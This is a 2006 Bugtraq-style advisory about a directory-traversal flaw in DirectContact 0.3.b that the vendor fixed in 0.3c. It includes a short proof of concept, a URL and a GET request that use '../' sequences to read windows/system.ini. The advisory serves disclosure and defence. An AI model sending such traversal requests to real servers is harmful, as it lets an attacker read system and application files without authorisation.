DirectContact Directory Traversal Vulnerability

Bugtraq ID:	16849
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Feb 27 2006 12:00AM
Updated:	Mar 14 2006 03:10AM
Credit:	Donato Ferrante <[email protected]> is credited with the discovery of this vulnerability.
Vulnerable:	DirectContact DirectContact 0.3.b
Not Vulnerable:	DirectContact DirectContact 0.3 c

DirectContact Directory Traversal Vulnerability

DirectContact is prone to a directory-traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks.

DirectContact Directory Traversal Vulnerability


This vulnerability may be exploited with a web client.


The following proof of concept is available:

http://www.example.com:[port]/..\..\..\..\windows/system.ini

GET /../../../../../../windows/system.ini HTTP/1.1

DirectContact Directory Traversal Vulnerability

Solution:
The vendor has released an update to address this issue. Contact the vendor for information on obtaining and applying the appropriate updates.


DirectContact DirectContact 0.3.b

• DirectContact DirectContact_Setup.exe
  http://reyero.info/directcontact/DirectContact_Setup.exe

DirectContact Directory Traversal Vulnerability

References:

• DirectContact (DirectContact)
  
• directory traversal Fixed in DirectContact 0.3c ([email protected])
  
• directory traversal in DirectContact 0.3b (Donato Ferrante )